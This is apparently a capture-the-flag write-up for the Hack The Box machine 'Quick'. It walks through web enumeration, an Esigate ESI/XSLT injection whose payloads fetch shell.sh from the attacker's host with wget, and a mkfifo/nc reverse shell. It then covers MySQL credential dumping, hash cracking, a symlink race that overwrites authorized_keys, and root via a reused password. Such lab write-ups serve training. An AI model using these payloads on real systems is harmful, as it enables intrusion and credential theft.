Quick
Nmap Scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAhDT34CIPsYTsmKvg6TepNSC8Qly/KBzvto2U2dc5bWLnOTeCHQrlzT0nk/GHBGsvCVi9JJmSw6BHeQ0sllrO4jvQpW/jQuY65cyOmNsXZcXvLXKk/M9rYws+8EOWrzKWJRIyIcD1+NdXKia8oYJ8GtTb8MAFff63dPrCD3qJIWgE0BQ00Id2CebD8Ffml75qXoufBpNQagMjorURWnq5W9lUpCSuqtLYAgasiW6/tlfBb80PFlmltDmshCJ+WsfZ0v2PK2eDveEM4PvlLyFLcGSJcshgGUA/jbDefwoon5uqgKduuS/RZJxf5PqBXkFIem9lsRl9SJCQLqKnQdh3
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL3mI404EpOFWUunEsaZUSo5I91lYin8r4Tt5HbcKkP1cEjnLRfpWP3HLYZbikwoZG17SmA3cwn/BPUslPpPWI=
| 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC3sX8n1GsA1Ps9e3OZmBVSkbr1tv7B/25+Njhuz9Z76
9001/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Website Enumeration
A quick scan of this box shows us that ports 22 and 9001 are open. 9001 is running an HTTP server, so we’ll visit this in our browser. On this page, we see the following note:
Update!
We are migrating our portal with latest TLS and HTTP support. To read more about our services, please navigate to our portal
You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our services from Mobile App
Mousing over the “client” link in this note, shows us that it redirects us to portal.quick.htb so we’ll add that to our /etc/hosts file:
sudo nano /etc/hosts
10.10.10.186 quick.htb portal.quick.htb
Before we check out the portal, we can grab a possible list of users from the testimonials:
Super fast services by Quick Broadband Services. I love their service. --By Tim (Qconsulting Pvt Ltd)
Quick support and eligant chat response. --By Roy (DarkWng Solutions)
I never regret using Quick services. Super fast wifi and no issues. --By Elisa (Wink Media)
Very good delivery and support all these years. --By James (LazyCoop Pvt Ltd)
At quick.htb/clients.php we get a list of their clients:
# Client Country
1 QConsulting Pvt Ltd UK
2 Darkwing Solutions US
3 Wink UK
4 LazyCoop Pvt Ltd China
5 ScoobyDoo Italy
6 PenguinCrop France
For some reason, http://quick.htb:9001/server-status isn’t blocked, so we can see a lot of different running services.
We’ll now try to visit that https://portal.quick.htb link. We’re unable to connect by just adding it to our /etc/hosts file and visiting it in our browser, but we need to take note that “new” technologies are being used. We can use http3 to visit this link, but using a version of curl with http3 enabled:
https://hub.docker.com/r/ymuski/curl-http3
After setting up the docker image, we can run it from the command line:
sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443 --http3
<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
ul {
list-style-type: none;
margin: 0;
padding: 0;
width: 200px;
background-color: #f1f1f1;
}
li a {
display: block;
color: #000;
padding: 8px 16px;
text-decoration: none;
}
/* Change the link color on hover */
li a:hover {
background-color: #555;
color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="index.php?view=contact">Contact</a></li>
<li><a href="index.php?view=about">About</a></li>
<li><a href="index.php?view=docs">References</a></li>
</ul>
</html>
Looks like we have some interesting links here:
sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443/index.php?view=about --http3
<div class="row">
<div class="column">
<div class="card">
<img src="/w3images/team1.jpg" alt="Jane" style="width:100%">
<div class="container">
<h2>Jane Doe</h2>
<p class="title">CEO & Founder</p>
<p>Quick Broadband services established in 2012 by Jane.</p>
<p>jane@quick.htb</p>
</div>
</div>
</div>
<div class="column">
<div class="card">
<img src="/w3images/team2.jpg" alt="Mike" style="width:100%">
<div class="container">
<h2>Mike Ross</h2>
<p class="title">Sales Manager</p>
<p>Manages the sales and services.</p>
<p>mike@quick.htb</p>
</div>
</div>
</div>
<div class="column">
<div class="card">
<img src="/w3images/team3.jpg" alt="John" style="width:100%">
<div class="container">
<h2>John Doe</h2>
<p class="title">Web Designer</p>
<p>Front end developer.</p>
<p>john@quick.htb</p>
</div>
</div>
</div>
We got some emails!
jane@quick.htb mike@quick.htb john@quick.htb
We can also visit the last link:
sudo docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186:443/index.php?view=docs --http3
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<h1>Quick | References</h1>
<ul>
<li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
<li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>
We’ll need to do a little workaround to grab these files, since we’re running curl in a docker container:
sudo docker run --rm --entrypoint /bin/sh ymuski/curl-http3 -c "curl https://10.10.10.186:443/docs/Quickstart.pdf --http3 --output /tmp/Quickstart.pdf && cat /tmp/QuickStart.pdf" > Quickstart.pdf
sudo docker run --rm --entrypoint /bin/sh ymuski/curl-http3 -c "curl https://10.10.10.186:443/docs/Connectivity.pdf --http3 --output /tmp/Connectivity.pdf && cat /tmp/Connectivity.pdf" > Connectivity.pdf
From Connectivity.pdf, we get a password:
Quick4cc3$$
We can try the emails/password we grabbed on quick.htb/login.php, but none of them work. Taking a look at the clients on the homepage, we can make a list of possible emails that could be related to the companies that reviewed “Quick”.
The following credentials work:
elisa@wink.co.uk:Quick4cc3$$
Now that we’re in, we see that we can Raise a Ticket, and search for raised tickets. Normal XSS doesn’t appear to do anything, but if we look at the headers in the response, we see the following:
X-Powered-By: Esigate
Remember that we noticed the server was running Esigate before? Esigate has an XSLT injection vulnerability that we can exploit here. For this purpose, I’ll be using the following cheatsheet:
https://github.com/0xVIC/CheatSheets/blob/master/Cross-site%20scripting/ESI_Engine_XSS.md
Click “Raise a Ticket” and enter the following payload in the body, replacing the x’s with our IP:
<esi:include src="http://xx.xx.xx.xx/image.png" />
Now, we take note of the ticket number it returns to us after hitting submit, we open a webserver on port 80 of our local machine, and we search for the ticket. We can see the following on our local webserver:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.186 - - [28/Apr/2020 11:03:27] code 404, message File not found
10.10.10.186 - - [28/Apr/2020 11:03:27] "GET /image.png HTTP/1.1" 404 -
Looking for possible RCE for Esigate leads us to the following link:
https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
We can use the payloads in this link to achieve RCE! We’ll need to make ourselves a reverse shell first:
shell.sh:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 4444 >/tmp/f
Now we can set up our malicious xsl’s:
exploitdown.xsl:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://10.10.xx.xx/shell.sh -O /tmp/shell.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
exploitexec.xsl:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://10.10.xx.xx/shell.sh -O /tmp/shell.sh]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
Now, we need to host these three files on our local webserver, and get to work!
We first need to send the following payload to http://quick.htb/ticket.php:
Note, the src= has to be something on the victim machine, or it will fail, as it’s going through a proxy that can’t seem to communicate outside of the machine:
<esi:include src="index.php" stylesheet="http://10.10.xx.xx/exploitdown.xsl">
</esi:include>
Now, take note of the ticket number, and visit it at http://quick.htb:9001/search.php?search=TKT-xxxx
We get a two pings back to our webserver, one for exploitdown.xsl and one for shell.sh
We now need to do the same with exploitexec.xsl:
<esi:include src="index.php" stylesheet="http://10.10.xx.xx/exploitexec.xsl">
</esi:include>
Now, open a listener on the port you chose, and visit http://quick.htb:9001/search.php?search=TKT-xxxx
We’ll import TTY and see who we are:
python3 -c 'import pty;pty.spawn("/bin/bash")'
sam@quick:~$ whoami
sam
We can look at the db.php file in /var/www/html:
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
Looks like we have mysql credentials!
mysql -udb_adm -pdb_p4ss
use quick;
select * from users;
+--------------+------------------+----------------------------------+
| name | email | password |
+--------------+------------------+----------------------------------+
| Elisa | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+
Looks like we have some hashed passwords! They’re MD5 strings, but they aren’t crackable in their current form. Let’s see if we can figure out how they’re being hashed:
cat /var/www/html/login.php
...
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));
...
It looks like they’re being encrypted with the default encryption scheme for Linux, then hashed with md5. We can create a small script to decrypt the new password relatively quickly:
#coding utf-8
import hashlib
import crypt
filepath = 'rockyou.txt'
count = 0
with open(filepath, 'r', errors='ignore') as fp:
line = fp.readline()
while line:
hashone = crypt.crypt(line.strip(), 'fa')
hashtwo = hashlib.md5(hashone.encode())
if hashtwo.hexdigest() == 'e626d51f8fbfd1124fdea88396c35d05':
print(line)
line = fp.readline()
We get “yl51pbx”, which works with the email in the database on the website:
srvadm@quick.htb:yl51pbx
This password doesn’t work for ssh, so we need to figure out where we can use this. In /etc/apache2/sites-available/000-default.conf we see the following lines:
<VirtualHost *:80>
AssignUserId srvadm srvadm
ServerName printerv2.quick.htb
DocumentRoot /var/www/printer
</VirtualHost>
Looks like printerv2.quick.htb is another virtualhost. We can add this to our /etc/hosts file, and connect to http://printerv2.quick.htb:9001. It’s a completely different website!
The credentials we grabbed for srvadm let us log in here. We can navigate to “Add Printer” and enter a Title, IP and Port. I chose to use a Python3 script here, but nc would most likely also work. Once we’ve done this, we can go to printers, and click the print button for the printer we just created.
We get the following message:
Printer is up. Please add a job
If we click the job link in this message, we are redirected to http://printerv2.quick.htb:9001/job.php?title=Printer1 where we can enter a Description for the job, and Print it.
First, we need to take a look at the job.php file in /var/www/printer/job.php. This is the important section:
if($_SESSION["loggedin"])
{
if(isset($_POST["submit"]))
{
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
$row=$result->fetch_assoc();
$ip=$row["ip"];
$port=$row["port"];
try
{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
catch(Exception $error)
{
$error="Can't connect to printer.";
unlink("/var/www/jobs/".$file);
}
}
else
{
$error="Couldn't find printer.";
}
}
We can see that it binds the current date/time in the format Y-m-d_H:i:s to a variable $file, puts the contents of whatever we put in the Description field on the website into the file, grabs the IP and Port from the jobs table in the database Quick (which we set when we created the printer on the website) and then gets the contents of the file it created (named Y-m-d_H:i:s) and sends them to the printer.
PHP inherently doesn’t follow symlinks, so we can’t send the contents of a file to ourselves. However, the really interesting part is that it’s placing the contents of the Description we entered into the file. We can use this to overwrite srvadm’s authorized_keys file!
To avoid having to format the date and time in bash, I just used a simple PHP script:
filecreate.php:
<?php
$file = date("Y-m-d_H:i:s");
system('ln -s /home/srvadm/.ssh/authorized_keys ' . $file);
?>
Now, we can create a ssh key for ourselves on our local machine:
ssh-keygen -t rsa
cat id_rsa.pub
We need to copy our id_rsa.pub key and put it in the description field. Now, to make sure that we’re catching the right symlink at the right time, we can move our php file to the /var/www/jobs folder, and put it on a loop:
for i in $(seq 0 100);do php filecreate.php;done
Now, we need to quickly hit the Print button on the website, with our id_rsa.pub key in the Description, and either a Python3 script up to catch the request or nc. We should see our key pop up on our listener. If so, the exploit has completed succesfully!
We can now ssh in:
ssh -i ~/.ssh/id_rsa srvadm@quick.htb
Now that we have srvadm, we can look for interesting files owned by him:
find / -user srvadm >> test.txt
cat test.txt
...
/home/srvadm/.cache
/home/srvadm/.cache/conf.d
/home/srvadm/.cache/conf.d/printers.conf
/home/srvadm/.cache/conf.d/cupsd.conf
/home/srvadm/.cache/logs
/home/srvadm/.cache/logs/debug.log
/home/srvadm/.cache/logs/error.log
/home/srvadm/.cache/logs/cups.log
/home/srvadm/.cache/packages
/home/srvadm/.cache/motd.legal-displayed
...
Those conf.d files look interesting! Taking a look at printers.conf, we see the following URI:
https://srvadm%40quick.htb:%26ftQ4K3SGde8%3F@printerv3.quick.htb/printer
If we URL-decode this, it becomes
https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
That &ftQ4K3SGde8? definitely looks like a password. We can check sudo -l and see if srvadm can run anything with sudo, but this isn’t his password. Of course, as always, we’ll try just su’ing to root.
su
Password: &ftQ4K3SGde8?
root@quick:/home/srvadm/.cache/conf.d# whoami
root
Well that was easy!
root:&ftQ4K3SGde8?